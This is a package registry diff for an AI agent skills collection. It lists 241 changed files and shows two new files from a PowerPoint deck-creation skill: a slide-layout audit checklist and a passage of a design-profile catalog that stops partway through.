opencode-skills-collection 4.0.0 → 4.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (241) hide show
  1. package/bundled-skills/.antigravity-install-manifest.json +24 -1
  2. package/bundled-skills/007/SKILL.md +2 -2
  3. package/bundled-skills/10-andruia-skill-smith/SKILL.md +1 -1
  4. package/bundled-skills/agent-squad/SKILL.md +5 -0
  5. package/bundled-skills/agent-squad/alex/SKILL.md +3 -0
  6. package/bundled-skills/agent-squad/aria/SKILL.md +3 -0
  7. package/bundled-skills/agent-squad/dep/SKILL.md +3 -0
  8. package/bundled-skills/agent-squad/luna/SKILL.md +4 -1
  9. package/bundled-skills/agent-squad/mason/SKILL.md +3 -0
  10. package/bundled-skills/agent-squad/max/SKILL.md +3 -0
  11. package/bundled-skills/agent-squad/quinn/SKILL.md +3 -0
  12. package/bundled-skills/agent-squad/rex/SKILL.md +3 -0
  13. package/bundled-skills/angular/metadata.json +1 -1
  14. package/bundled-skills/angular-best-practices/metadata.json +1 -1
  15. package/bundled-skills/angular-state-management/metadata.json +1 -1
  16. package/bundled-skills/angular-ui-patterns/metadata.json +1 -1
  17. package/bundled-skills/antigravity-skill-orchestrator/SKILL.md +2 -2
  18. package/bundled-skills/apify-actor-development/SKILL.md +2 -2
  19. package/bundled-skills/apple-container/SKILL.md +165 -0
  20. package/bundled-skills/apple-container/references/commands.md +1593 -0
  21. package/bundled-skills/apple-container/references/concepts.md +294 -0
  22. package/bundled-skills/apple-container/references/configuration.md +499 -0
  23. package/bundled-skills/apple-container/references/workflows.md +498 -0
  24. package/bundled-skills/ask-copilot/SKILL.md +112 -0
  25. package/bundled-skills/auto-research/SKILL.md +126 -0
  26. package/bundled-skills/brooks-lint/SKILL.md +1 -1
  27. package/bundled-skills/browser-harness/references/install.md +3 -1
  28. package/bundled-skills/chrome-extension-developer/SKILL.md +1 -1
  29. package/bundled-skills/clean-code-guard/SKILL.md +184 -0
  30. package/bundled-skills/clean-code-guard/references/ai-failure-modes.md +345 -0
  31. package/bundled-skills/clean-code-guard/references/comments-and-formatting.md +115 -0
  32. package/bundled-skills/clean-code-guard/references/dry-kiss-yagni.md +133 -0
  33. package/bundled-skills/clean-code-guard/references/naming-and-functions.md +187 -0
  34. package/bundled-skills/clean-code-guard/references/review-checklist.md +150 -0
  35. package/bundled-skills/clean-code-guard/references/solid.md +280 -0
  36. package/bundled-skills/clean-code-guard/references/sources.md +47 -0
  37. package/bundled-skills/cloudflare-security-audit/SKILL.md +137 -0
  38. package/bundled-skills/cloudflare-security-audit/references/AI-AND-LLM.md +67 -0
  39. package/bundled-skills/cloudflare-security-audit/references/ATTACK-CLASSES.md +116 -0
  40. package/bundled-skills/cloudflare-security-audit/references/CLIENT-SIDE.md +67 -0
  41. package/bundled-skills/cloudflare-security-audit/references/HUNTING.md +110 -0
  42. package/bundled-skills/cloudflare-security-audit/references/MEMORY-SAFETY-AND-BINARY.md +58 -0
  43. package/bundled-skills/cloudflare-security-audit/references/RECONNAISSANCE.md +46 -0
  44. package/bundled-skills/cloudflare-security-audit/references/VALIDATION-AND-REPORTING.md +109 -0
  45. package/bundled-skills/cloudflare-security-audit/references/WEB-PROTOCOL-AND-AUTH.md +85 -0
  46. package/bundled-skills/cloudflare-security-audit/resources/report-schema.json +210 -0
  47. package/bundled-skills/comfyui-gateway/references/troubleshooting.md +1 -1
  48. package/bundled-skills/commit/SKILL.md +2 -1
  49. package/bundled-skills/deepapi/SKILL.md +6 -6
  50. package/bundled-skills/docs/README.md +1 -1
  51. package/bundled-skills/docs/contributors/quality-bar.md +1 -1
  52. package/bundled-skills/docs/contributors/security-guardrails.md +1 -1
  53. package/bundled-skills/docs/integrations/jetski-cortex.md +5 -5
  54. package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +3 -3
  55. package/bundled-skills/docs/maintainers/ci-drift-fix.md +7 -5
  56. package/bundled-skills/docs/maintainers/merge-batch.md +24 -7
  57. package/bundled-skills/docs/maintainers/pr-autonomy.md +89 -0
  58. package/bundled-skills/docs/maintainers/release-notes-7.2.0.md +1 -1
  59. package/bundled-skills/docs/maintainers/release-process.md +9 -9
  60. package/bundled-skills/docs/maintainers/repo-growth-seo.md +5 -5
  61. package/bundled-skills/docs/maintainers/skills-date-tracking.md +1 -1
  62. package/bundled-skills/docs/maintainers/skills-update-guide.md +2 -2
  63. package/bundled-skills/docs/users/{antigravity-awesome-skills-vs-awesome-claude-skills.md → agentic-awesome-skills-vs-awesome-claude-skills.md} +5 -5
  64. package/bundled-skills/docs/users/ai-agent-skills.md +4 -4
  65. package/bundled-skills/docs/users/best-claude-code-skills-github.md +3 -3
  66. package/bundled-skills/docs/users/best-cursor-skills-github.md +3 -3
  67. package/bundled-skills/docs/users/bundles.md +56 -57
  68. package/bundled-skills/docs/users/claude-code-skills.md +6 -6
  69. package/bundled-skills/docs/users/codex-cli-skills.md +5 -5
  70. package/bundled-skills/docs/users/cursor-skills.md +3 -3
  71. package/bundled-skills/docs/users/faq.md +27 -15
  72. package/bundled-skills/docs/users/gemini-cli-skills.md +4 -4
  73. package/bundled-skills/docs/users/getting-started.md +22 -12
  74. package/bundled-skills/docs/users/kiro-integration.md +7 -7
  75. package/bundled-skills/docs/users/plugins.md +8 -9
  76. package/bundled-skills/docs/users/security-skills.md +1 -1
  77. package/bundled-skills/docs/users/skills-vs-mcp-tools.md +1 -1
  78. package/bundled-skills/docs/users/specialized-plugin-roadmap.md +3 -4
  79. package/bundled-skills/docs/users/usage.md +9 -9
  80. package/bundled-skills/docs/users/visual-guide.md +7 -7
  81. package/bundled-skills/docs/users/windows-truncation-recovery.md +1 -1
  82. package/bundled-skills/docs/users/workflows.md +1 -1
  83. package/bundled-skills/docs/vietnamese/BUNDLES.vi.md +1 -1
  84. package/bundled-skills/docs/vietnamese/FAQ.vi.md +15 -8
  85. package/bundled-skills/docs/vietnamese/GETTING_STARTED.vi.md +12 -5
  86. package/bundled-skills/docs/vietnamese/QUALITY_BAR.vi.md +1 -1
  87. package/bundled-skills/docs/vietnamese/README.vi.md +21 -17
  88. package/bundled-skills/docs/vietnamese/SECURITY_GUARDRAILS.vi.md +1 -1
  89. package/bundled-skills/docs/vietnamese/SKILLS_README.vi.md +2 -2
  90. package/bundled-skills/docs/vietnamese/TRANSLATION_PLAN.vi.md +1 -1
  91. package/bundled-skills/docs/vietnamese/VISUAL_GUIDE.vi.md +8 -8
  92. package/bundled-skills/docs-guard/SKILL.md +109 -0
  93. package/bundled-skills/docs-guard/references/code-samples.md +46 -0
  94. package/bundled-skills/docs-guard/references/docstrings.md +60 -0
  95. package/bundled-skills/docs-guard/references/review-checklist.md +45 -0
  96. package/bundled-skills/docs-guard/references/sources.md +22 -0
  97. package/bundled-skills/docs-guard/references/verification.md +51 -0
  98. package/bundled-skills/efficient-web-research/SKILL.md +4 -0
  99. package/bundled-skills/electron-development/SKILL.md +1 -1
  100. package/bundled-skills/event-staffing-compliance/SKILL.md +3 -0
  101. package/bundled-skills/event-staffing-ordering/SKILL.md +3 -0
  102. package/bundled-skills/feature-tracking/SKILL.md +222 -0
  103. package/bundled-skills/flutter-expert/SKILL.md +6 -1
  104. package/bundled-skills/flutter-expert/resources/implementation-playbook.md +214 -0
  105. package/bundled-skills/gemini-deep-research/README.md +246 -0
  106. package/bundled-skills/gemini-deep-research/SKILL.md +136 -0
  107. package/bundled-skills/gemini-deep-research/requirements.txt +2 -0
  108. package/bundled-skills/gemini-deep-research/scripts/research.py +692 -0
  109. package/bundled-skills/git-pushing/SKILL.md +21 -4
  110. package/bundled-skills/git-pushing/scripts/smart_commit.sh +206 -11
  111. package/bundled-skills/go-in-depth/scripts/workflow-script.js +4 -1
  112. package/bundled-skills/grok-build/SKILL.md +167 -0
  113. package/bundled-skills/grok-build/references/cli.md +99 -0
  114. package/bundled-skills/huggingface-tool-builder/references/find_models_by_paper.sh +1 -1
  115. package/bundled-skills/idea-autopsy/SKILL.md +147 -0
  116. package/bundled-skills/it-manager-hospital/README.md +1 -1
  117. package/bundled-skills/it-manager-pro/README.md +1 -1
  118. package/bundled-skills/itil-expert/README.md +1 -1
  119. package/bundled-skills/langgraph/SKILL.md +1 -1
  120. package/bundled-skills/linkedin-content-generator/SKILL.md +1 -1
  121. package/bundled-skills/lint-and-validate/scripts/lint_runner.py +23 -23
  122. package/bundled-skills/lint-and-validate/scripts/type_coverage.py +30 -30
  123. package/bundled-skills/logic-lens/SKILL.md +1 -1
  124. package/bundled-skills/lore/LICENSE +21 -0
  125. package/bundled-skills/lore/README.md +386 -0
  126. package/bundled-skills/lore/README.zh-CN.md +386 -0
  127. package/bundled-skills/lore/SKILL.md +453 -0
  128. package/bundled-skills/lore/WORKFLOWS.md +216 -0
  129. package/bundled-skills/lore/WORKFLOWS.zh-CN.md +216 -0
  130. package/bundled-skills/lore/references/audit-template.md +60 -0
  131. package/bundled-skills/lore/references/compatibility.md +228 -0
  132. package/bundled-skills/lore/references/config.md +125 -0
  133. package/bundled-skills/lore/references/entry-format.md +70 -0
  134. package/bundled-skills/lore/references/history-command.md +106 -0
  135. package/bundled-skills/lore/references/monorepo-detection.md +78 -0
  136. package/bundled-skills/lore/references/platform-mirrors.md +377 -0
  137. package/bundled-skills/lore/references/stale-new-markers.md +62 -0
  138. package/bundled-skills/lore/references/summary-template.md +98 -0
  139. package/bundled-skills/lore/scripts/README.md +54 -0
  140. package/bundled-skills/lore/scripts/README.zh-CN.md +54 -0
  141. package/bundled-skills/lore/scripts/find_duplicates.py +211 -0
  142. package/bundled-skills/lore/scripts/find_stale.py +116 -0
  143. package/bundled-skills/lore/scripts/history.py +527 -0
  144. package/bundled-skills/lore/scripts/id_hash.py +32 -0
  145. package/bundled-skills/lore/scripts/list_entries.py +183 -0
  146. package/bundled-skills/lovable-cleanup/SKILL.md +3 -3
  147. package/bundled-skills/makepad-splash/SKILL.md +1 -1
  148. package/bundled-skills/mmx-cli/SKILL.md +14 -1
  149. package/bundled-skills/monopoly/SKILL.md +5 -0
  150. package/bundled-skills/monopoly/patterns/SKILL.md +4 -0
  151. package/bundled-skills/monopoly/scale-benchmarks/SKILL.md +4 -0
  152. package/bundled-skills/monopoly/security-checklist/SKILL.md +4 -0
  153. package/bundled-skills/monopoly/tech-matrix/SKILL.md +4 -0
  154. package/bundled-skills/mtls-configuration/SKILL.md +1 -1
  155. package/bundled-skills/network-101/SKILL.md +4 -5
  156. package/bundled-skills/nika/SKILL.md +270 -0
  157. package/bundled-skills/not-a-vibe-coder/SKILL.md +4 -0
  158. package/bundled-skills/ontoly-software-graph/SKILL.md +160 -0
  159. package/bundled-skills/openclaw-github-repo-commander/SKILL.md +1 -1
  160. package/bundled-skills/pilot-protocol/SKILL.md +6 -3
  161. package/bundled-skills/postgres-readonly-queries/README.md +77 -0
  162. package/bundled-skills/postgres-readonly-queries/SKILL.md +152 -0
  163. package/bundled-skills/postgres-readonly-queries/connections.example.json +34 -0
  164. package/bundled-skills/postgres-readonly-queries/requirements.txt +1 -0
  165. package/bundled-skills/postgres-readonly-queries/scripts/query.py +262 -0
  166. package/bundled-skills/pptx-deck-creation/SKILL.md +275 -0
  167. package/bundled-skills/pptx-deck-creation/references/audit-checklist.md +156 -0
  168. package/bundled-skills/pptx-deck-creation/references/design-profiles.md +96 -0
  169. package/bundled-skills/pptx-deck-creation/references/python-snippets.md +150 -0
  170. package/bundled-skills/pptx-deck-creation/references/reference-deck-analysis.md +91 -0
  171. package/bundled-skills/pptx-deck-creation/references/visual-asset-adapters.md +158 -0
  172. package/bundled-skills/privilege-escalation-methods/SKILL.md +1 -1
  173. package/bundled-skills/product-decision-agent/SKILL.md +94 -0
  174. package/bundled-skills/product-decision-agent/agents/openai.yaml +7 -0
  175. package/bundled-skills/product-decision-agent/references/methodology-basis.md +232 -0
  176. package/bundled-skills/product-decision-agent/references/product-playbooks.md +813 -0
  177. package/bundled-skills/product-decision-agent/references/reasoning-engine.md +289 -0
  178. package/bundled-skills/product-decision-agent/references/response-examples.md +279 -0
  179. package/bundled-skills/product-decision-agent/scripts/quality_gate.py +221 -0
  180. package/bundled-skills/product-decision-agent/scripts/test_quality_gate.py +94 -0
  181. package/bundled-skills/pytest-skill/reference/playbook.md +358 -0
  182. package/bundled-skills/quit-sponsor/SKILL.md +96 -0
  183. package/bundled-skills/rclone-cli/references/providers/s3.md +1 -1
  184. package/bundled-skills/security-and-hardening/SKILL.md +1 -1
  185. package/bundled-skills/semgrep-rule-creator/SKILL.md +6 -6
  186. package/bundled-skills/skill-creator/README.md +3 -3
  187. package/bundled-skills/skill-creator/SKILL.md +8 -4
  188. package/bundled-skills/skill-creator/scripts/quick_validate.py +1 -1
  189. package/bundled-skills/sql-injection-testing/SKILL.md +4 -4
  190. package/bundled-skills/subagent-orchestrator/README.md +1 -1
  191. package/bundled-skills/super-code/bash/SKILL.md +3 -0
  192. package/bundled-skills/super-code/c/SKILL.md +3 -0
  193. package/bundled-skills/super-code/cpp/SKILL.md +3 -0
  194. package/bundled-skills/super-code/csharp/SKILL.md +3 -0
  195. package/bundled-skills/super-code/dart/SKILL.md +3 -0
  196. package/bundled-skills/super-code/elixir/SKILL.md +3 -0
  197. package/bundled-skills/super-code/go/SKILL.md +3 -0
  198. package/bundled-skills/super-code/java/SKILL.md +3 -0
  199. package/bundled-skills/super-code/kotlin/SKILL.md +3 -0
  200. package/bundled-skills/super-code/php/SKILL.md +3 -0
  201. package/bundled-skills/super-code/python/SKILL.md +3 -0
  202. package/bundled-skills/super-code/ruby/SKILL.md +3 -0
  203. package/bundled-skills/super-code/rust/SKILL.md +3 -0
  204. package/bundled-skills/super-code/scala/SKILL.md +3 -0
  205. package/bundled-skills/super-code/swift/SKILL.md +3 -0
  206. package/bundled-skills/super-code/typescript/SKILL.md +3 -0
  207. package/bundled-skills/telegram-bot-messaging/README.md +185 -0
  208. package/bundled-skills/telegram-bot-messaging/SKILL.md +101 -0
  209. package/bundled-skills/telegram-bot-messaging/scripts/telegram.sh +420 -0
  210. package/bundled-skills/test-guard/SKILL.md +132 -0
  211. package/bundled-skills/test-guard/references/jest.md +50 -0
  212. package/bundled-skills/test-guard/references/llm-app-testing.md +40 -0
  213. package/bundled-skills/test-guard/references/phpunit.md +56 -0
  214. package/bundled-skills/test-guard/references/pytest.md +65 -0
  215. package/bundled-skills/trading-ledger/SKILL.md +11 -3
  216. package/bundled-skills/uizze-ui-research/SKILL.md +93 -0
  217. package/bundled-skills/vibe-code-auditor/SKILL.md +1 -1
  218. package/bundled-skills/vibecode-production-qa-validator/SKILL.md +1 -1
  219. package/bundled-skills/videodb/scripts/ws_listener.py +29 -15
  220. package/bundled-skills/voice-ai-engine-development/README.md +1 -1
  221. package/bundled-skills/vulnerability-scanner/SKILL.md +1 -1
  222. package/bundled-skills/warehouse/SKILL.md +154 -0
  223. package/bundled-skills/woo-guard/SKILL.md +113 -0
  224. package/bundled-skills/woo-guard/references/checkout-and-money.md +64 -0
  225. package/bundled-skills/woo-guard/references/hpos-and-crud.md +87 -0
  226. package/bundled-skills/woo-guard/references/review-checklist.md +44 -0
  227. package/bundled-skills/woo-guard/references/sources.md +17 -0
  228. package/bundled-skills/wp-guard/SKILL.md +119 -0
  229. package/bundled-skills/wp-guard/references/i18n.md +88 -0
  230. package/bundled-skills/wp-guard/references/performance.md +70 -0
  231. package/bundled-skills/wp-guard/references/review-checklist.md +57 -0
  232. package/bundled-skills/wp-guard/references/security.md +100 -0
  233. package/bundled-skills/wp-guard/references/sources.md +27 -0
  234. package/bundled-skills/writing-skills/gotchas.md +1 -1
  235. package/bundled-skills/writing-skills/references/standards/metadata-standard.md +1 -1
  236. package/bundled-skills/x-twitter-scraper/SKILL.md +14 -32
  237. package/bundled-skills/xss-html-injection/SKILL.md +3 -3
  238. package/bundled-skills/youtube-seo-optimizer/SKILL.md +1 -1
  239. package/bundled-skills/youtube-summarizer/CHANGELOG.md +2 -2
  240. package/package.json +1 -1
  241. package/skills_index.json +273 -0
@@ -0,0 +1,156 @@
1
+ # PPTX Manual Audit Checklist
2
+
3
+ Apply the specification checks before building. Reopen the PPTX for the final
4
+ geometry, accessibility, package, and rendered-preview checks.
5
+
6
+ ## 1. Content Collisions
7
+
8
+ For every slide, inspect all `layout_tree` objects. Two `classification: "content"` objects collide when their bounding boxes overlap:
9
+
10
+ ```
11
+ A.x < B.x + B.w AND B.x < A.x + A.w
12
+ A.y < B.y + B.h AND B.y < A.y + A.h
13
+ ```
14
+
15
+ - **Pass:** zero overlapping content objects per slide.
16
+ - **Fail:** any overlap → move objects, resize bboxes, reduce content density, or split the slide.
17
+
18
+ ## 2. Text Overflows
19
+
20
+ For each text object estimate whether its text fits within its bbox.
21
+
22
+ Rough capacity (Latin):
23
+ - Characters per line ≈ `(bbox.w × 72) / (font_size × 0.5)`, using `0.5 em` as an average Latin glyph-width factor
24
+ - Lines available ≈ `(bbox.h × 72) / (font_size × 1.2)`
25
+ _(bbox in inches, font_size in pt)_
26
+
27
+ Adjustments:
28
+ - **CJK / full-width text:** use a glyph-width factor near `1.0 em` instead of `0.5 em`. The extractor reports `non_ascii_text` — use it to flag CJK-heavy slides.
29
+ - **Text on a shape/card:** subtract ≈0.1 in of inner padding from each side of the shape before computing capacity; the text occupies the inset inner area, not the full shape.
30
+
31
+ - **Pass:** estimated text volume ≤ available capacity.
32
+ - **Warning:** likely overflow → inspect the generated PPTX or rendered preview, then shorten bullets, enlarge the bbox, or split the slide when clipping is confirmed. This estimate is a triage heuristic, not a deterministic failure by itself.
33
+ **Never set `font_size` below 9 pt for `classification: "content"` objects.**
34
+
35
+ ## 3. Font Size Minimums
36
+
37
+ Scan every object with `classification: "content"`. Check `style.font_size`.
38
+
39
+ - **Pass:** all content objects ≥ 9 pt.
40
+ - **Fail:** any content object < 9 pt → increase font size and split content if needed.
41
+
42
+ ## 4. Design Context Presence
43
+
44
+ Inspect `summary.design_context` in the spec root.
45
+
46
+ - **Pass:** field present and contains `profile_id`, source URL, and license ID.
47
+ - **Fail — any of the following:**
48
+ - `summary.design_context` absent -> load a design profile from [design-profiles.md](design-profiles.md) and rebuild.
49
+ - Plain white backgrounds throughout with no accent elements.
50
+ - Calibri-only text with default theme colors across all slides.
51
+ - All slides are title-plus-bullets only (no cards, shapes, rules, or image treatments).
52
+
53
+ ## 5. Visual Design Per Slide
54
+
55
+ For each normal content slide (exclude section headers and hidden appendix slides):
56
+
57
+ - **Pass:** at least one style-derived visual element present — accent band, card shell, grid cell, rule/divider, shape motif, image treatment, or background pattern.
58
+ - **Fail:** slide is plain white with only text objects → add a design element derived from the selected profile's `source_signals`.
59
+
60
+ ## 6. Narrative and Count
61
+
62
+ - Slide count is within ±2 of the user's requested count.
63
+ - Topic sequence matches the requested business framework (McKinsey, SCQA, pyramid, etc.) or the user's stated structure.
64
+ - For action-title frameworks (e.g., `action-title`, McKinsey): every content slide has an **action title** (not a descriptive label). Run the ghost-deck test: read only slide titles — they must tell the full story on their own.
65
+
66
+ ## 7. Hidden Slides
67
+
68
+ If the deck contains hidden slides (`hidden: true`):
69
+
70
+ - **Pass:** hidden slides are last in the `slides` array unless the user specified otherwise.
71
+ - In the rendered PPTX, confirm `ppt/presentation.xml` contains `p:sldId show="0"` on the correct entries.
72
+
73
+ ## 8. Asset Layering
74
+
75
+ For slides mixing image/SVG objects with text:
76
+
77
+ - **Pass:** image/SVG `z_index` is lower than all overlapping text objects.
78
+ - **Fail:** image covers text → lower `z_index`, adjust bbox, or reclassify as `classification: "layout_design"`.
79
+ - A visible slide must not rely on one raster or SVG as its complete content. Recreate essential titles, labels, metrics, chart values, and process steps with native editable objects. Keep the original raster or SVG only as a supporting visual or hidden reference.
80
+ - **Image aspect ratio:** the object `bbox` aspect should match the image's native aspect (fit or crop-to-fill); a mismatched bbox stretches the image. Keep captions in adjacent space, not overlaid on the image.
81
+
82
+ ## 9. Slide Bounds & Safe Margins
83
+
84
+ For every slide, check each object against the slide rectangle (0,0)–(`slide_size.width`, `slide_size.height`):
85
+
86
+ - **Pass:** every `classification: "content"` object lies fully inside the slide and inside the content-safe margin (default 0.5 in per edge).
87
+ - **Fail:** an object extends off-slide or into the margin → move or resize it inside. Only `classification: "layout_design"` full-bleed bands may touch or cross an edge.
88
+
89
+ ## 10. Containment
90
+
91
+ - **Pass:** every child object and child group fits inside its parent group `bbox`; on-shape text fits inside the shape minus ≈0.1 in inner padding.
92
+ - **Fail:** a child spills out of its group, or card text spills past the card padding → resize the child or the parent, or split content.
93
+
94
+ ## 11. Table Fit
95
+
96
+ For every `kind: "table"` object:
97
+
98
+ - **Pass:** column widths sum to the table `bbox.width`, each cell's wrapped text fits its row height at the cell font size, and row count is within the per-slide budget (≈8–10 body rows at 10–11 pt).
99
+ - **Fail:** columns overflow the table width, cells clip, or the table is too tall → rebalance columns, raise row height, or split the table across slides (repeat the header).
100
+
101
+ ## 12. Native Editable Content
102
+
103
+ For every visible slide, inspect the objects that carry the message.
104
+
105
+ - **Pass:** titles, body text, metrics, labels, tables, charts, and process steps
106
+ are native editable PowerPoint objects. Images are supporting visuals only.
107
+ - **Fail:** a single raster or SVG contains the only meaningful text, data,
108
+ explanation, chart values, or diagram labels → recreate that information with
109
+ editable text, shapes, lines, and tables.
110
+
111
+ ## 13. Post-Build Checks
112
+
113
+ Reopen the generated PPTX and inspect the actual artifact.
114
+
115
+ - **Geometry:** confirm the slide count, actual object bounds, safe margins,
116
+ footer rail, group containment, image placement, and hidden-slide state match
117
+ the specification. Record failures in the geometry audit.
118
+ - **Accessibility:** confirm document language, unique accessible slide titles,
119
+ meaningful image alt text, reading order, and table headers. Record failures
120
+ in the accessibility audit.
121
+ - **Rendered preview:** when a compatible renderer is available, inspect each
122
+ slide for clipping, font fallback, contrast, image crops, and visual hierarchy.
123
+ Record the renderer and the review result.
124
+
125
+ ## 14. Production Metadata and Source Lineage
126
+
127
+ Inspect the summary and the objects that make factual claims.
128
+
129
+ - **Layout policy:** `summary.layout_policy` names the safe margin, content
130
+ bottom, footer top, and minimum gap. Confirm `content_bottom` is lower than
131
+ `footer_top` and that content stays above the footer rail.
132
+ - **Accessibility metadata:** `summary.accessibility` contains a document
133
+ language and presentation title. Each production slide supplies a reading
134
+ order for its meaningful objects.
135
+ - **Source lineage:** each sourced metric, chart value, quotation, or factual
136
+ claim has a `source_ref` containing a source ID, locator, claim type, and
137
+ verification status. Confirm the source ID appears in the sources manifest.
138
+ - **Build record:** the build manifest records the builder path, input spec,
139
+ output PPTX, slide count, time, and warnings.
140
+
141
+ ## 15. Positive Geometry
142
+
143
+ Before and after build, inspect every object bbox and line endpoint.
144
+
145
+ - **Pass:** every non-line object has positive width and height. A line has two
146
+ distinct endpoints (`x1 != x2` or `y1 != y2`); horizontal and vertical lines
147
+ may legitimately have a zero-height or zero-width bounding box.
148
+ - **Fail:** a non-line object has a zero or negative dimension, or a line has
149
+ identical endpoints. Correct the source geometry before rebuild.
150
+
151
+ ## Completion Criterion
152
+
153
+ All 15 checks pass before delivery, or each exception is documented with its
154
+ slide ID, object ID, reason, owner, and review date. Any failure triggers the
155
+ repair loop in Step 6 of the parent `pptx-deck-creation` skill: fix the spec,
156
+ rebuild, and re-audit.
@@ -0,0 +1,96 @@
1
+ # PPTX Design Profile Catalog
2
+
3
+ **This is the bundled reference for design profiles.** Use it for all new decks. Design context is built-in and always available.
4
+
5
+ ## Quick-Select Guide
6
+
7
+ | Profile ID | Best for |
8
+ |---|---|
9
+ | `fluent-ui-design-tokens` | Microsoft, M365, Teams, Power Platform, enterprise — **default for new decks** |
10
+ | `getdesign-md-design-systems` | **Live fetch** — brand-accurate DESIGN.md analyses (Apple, Stripe, Linear, Notion, …) from getdesign.md when matching a real product's look |
11
+ | `corazzon-pptx-design-styles` | 30 modern style catalog; use when visual variety or multiple direction options are needed |
12
+ | `primer-primitives` | GitHub-style, developer products, token-driven UI reviews, engineering docs |
13
+
14
+ ## Profiles
15
+
16
+ ### `fluent-ui-design-tokens`
17
+ **Name:** Fluent UI Design Token Guidance
18
+ **Kind:** design-system-context
19
+ **License:** MIT — Copyright (c) Microsoft Corporation
20
+ **Source:** [microsoft/fluentui](https://github.com/microsoft/fluentui/blob/master/docs/architecture/design-tokens.md)
21
+ **Token categories:** color, spacing, border radius, font, line height, stroke, shadow, duration, easing
22
+ **Themes:** webLightTheme, webDarkTheme, teamsLightTheme, teamsDarkTheme, teamsHighContrastTheme
23
+ **Agent rule:** Use design tokens instead of hardcoded colors, spacing, or typography values.
24
+ **Best for:** Microsoft-aligned decks, Teams, M365, Power Platform governance, enterprise product reviews
25
+
26
+ ---
27
+
28
+ ### `getdesign-md-design-systems`
29
+ **Name:** getdesign.md — Production-grade DESIGN.md Brand Analyses (Live Fetch)
30
+ **Kind:** live-design-reference-context
31
+ **License:** Per-entry; independent analyses published by VoltAgent. Reference/inspiration only — **not** official, not affiliated with or endorsed by the brands, and not redistributable assets. All trademarks belong to their owners.
32
+ **Source:** [getdesign.md](https://getdesign.md/) · catalog: [getdesign.md/design-md](https://getdesign.md/design-md) · spec basis: Google Stitch's DESIGN.md · awesome list: [VoltAgent/awesome-design-md](https://github.com/VoltAgent/awesome-design-md)
33
+ **Catalog size:** 300+ brand/product DESIGN.md analyses (e.g., Apple, Stripe, Linear, Notion, Vercel, Figma, Airbnb, Spotify, Tesla, IBM/Carbon, NVIDIA)
34
+
35
+ **What getdesign.md is:** A browsable frontend for the open-source `awesome-design-md` collection. Each catalog entry is a single `DESIGN.md` file — a structured Markdown document (the format introduced by Google Stitch) that captures the *publicly observable* design language of a real website so a coding agent can use it as reference while building original UI. They are analyses of patterns, not pixel-exact reproductions of the source sites.
36
+
37
+ **Anatomy of a DESIGN.md entry** (consistent section taxonomy across the catalog):
38
+ - **01 — Colors:** Core palette as named tokens with hex + role (e.g., `Primary #533afd`, `Ink #0d253d`, `Canvas #ffffff`, `Canvas Alt`, `Hairline`, `Muted`, `Accent`), plus an extended brand/accent and gradient-stop set.
39
+ - **02 — Typography:** A type scale split into display and body tiers; each token lists size / weight / line-height / letter-spacing and its role (e.g., `display-xxl 56px/300/1.12/-1.4px`, `body-md 16/400/1.55`, `micro-cap 12/700` eyebrow).
40
+ - **03–05 — Components:** Button variants (primary/secondary/outline/on-dark), card examples (incl. inverted/featured tiers), and form-element conventions (input borders, focus treatment).
41
+ - **06–08 — Foundations:** Spacing scale (typically an 8px base with sub-units), border-radius scale (input → pill `9999px`), and elevation/shadow stacks (L0 flat → L3 toast).
42
+ - **09 — Responsive:** Breakpoint stair (mobile/tablet/desktop/wide), touch-target minimums (≥44×44px), and collapsing strategy.
43
+ - Plus a short prose intro describing the brand's "signature" (mood, motifs, hero treatment) and an Additional Links/preview block.
44
+
45
+ **How users consume it (outside this skill):** The getdesign package offers an `add {slug}` action that drops the file into a project, or users can choose "Download DESIGN.md"; some entries also offer a full website starter kit at `…/design-md/kit`. Inside this skill, treat the page as a *read-only reference* — fetch and extract signals; do not run the installer.
46
+
47
+ **Fetch contract:** Each entry is reachable at `https://getdesign.md/{slug}/design-md` (e.g., `https://getdesign.md/stripe/design-md`, `https://getdesign.md/linear.app/design-md`). Some slugs include the TLD (`linear.app`, `mistral.ai`, `x.ai`, `opencode.ai`). Browse `https://getdesign.md/design-md` to resolve the correct `{slug}`.
48
+ **Agent rule:** Use this profile only when the user asks for a deck that should match a specific real-world brand or product aesthetic. Fetch the matching DESIGN.md entry, extract the color tokens, type scale, spacing/radius/elevation foundations, and signature motifs, then lock them in `summary.design_context`. Translate signals into explicit `layout_tree` primitives — do not embed scraped images, screenshots, or copy proprietary brand assets/logos. Record the entry URL and the "independent analysis, not affiliated" disclaimer as the design source. If the fetch fails or no slug matches, fall back to a bundled profile and note the fallback.
49
+ **Best for:** Decks that must visually echo a known product or company; brand-accurate palette/typography/foundation sourcing without maintaining a local copy
50
+
51
+ ---
52
+
53
+ ### `corazzon-pptx-design-styles`
54
+ **Name:** corazzon/pptx-design-styles — 30 Modern PPTX Style Templates
55
+ **Kind:** pptx-style-template-context
56
+ **License:** MIT — Copyright TodayCode / corazzon contributors
57
+ **Source:** [corazzon/pptx-design-styles](https://github.com/corazzon/pptx-design-styles)
58
+ **30 styles:** Glassmorphism, Neo-Brutalism, Bento Grid, Dark Academia, Gradient Mesh, Claymorphism, Swiss International, Aurora Neon Glow, Retro Y2K, Nordic Minimalism, Typographic Bold, Duotone Color Split, Monochrome Minimal, Cyberpunk Outline, Editorial Magazine, Pastel Soft UI, Dark Neon Miami, Hand-crafted Organic, Isometric 3D Flat, Vaporwave, Art Deco Luxe, Brutalist Newspaper, Stained Glass Mosaic, Liquid Blob Morphing, Memphis Pop Pattern, Dark Forest Nature, Architectural Blueprint, Maximalist Collage, SciFi Holographic Data, Risograph Print
59
+ **Style families:** modern-ui, editorial, retro, technical, luxury, organic, experimental
60
+ **Source inputs per style:** hex colors, font pairings, layout rules, signature elements, avoid lists
61
+ **Agent rule:** Pick one style, lock its palette and typography, then translate visual effects into explicit editable `layout_tree` primitives. Use raster assets only as supporting visuals. Do not mix styles accidentally.
62
+ **Best for:** Choosing a predefined modern style from a broad catalog; generating multiple visual direction options before deck production
63
+
64
+ ---
65
+
66
+ ### `primer-primitives`
67
+ **Name:** Primer Primitives Design Tokens
68
+ **Kind:** design-system-context
69
+ **License:** MIT — Copyright (c) 2018 GitHub Inc.
70
+ **Source:** [primer/primitives](https://github.com/primer/primitives)
71
+ **Token categories:** color, spacing, typography, motion, z-index
72
+ **Spacing scale:** xxs, xs, sm, md, lg, xl
73
+ **Typography roles:** display, title, subtitle, body, caption, codeBlock, codeInline
74
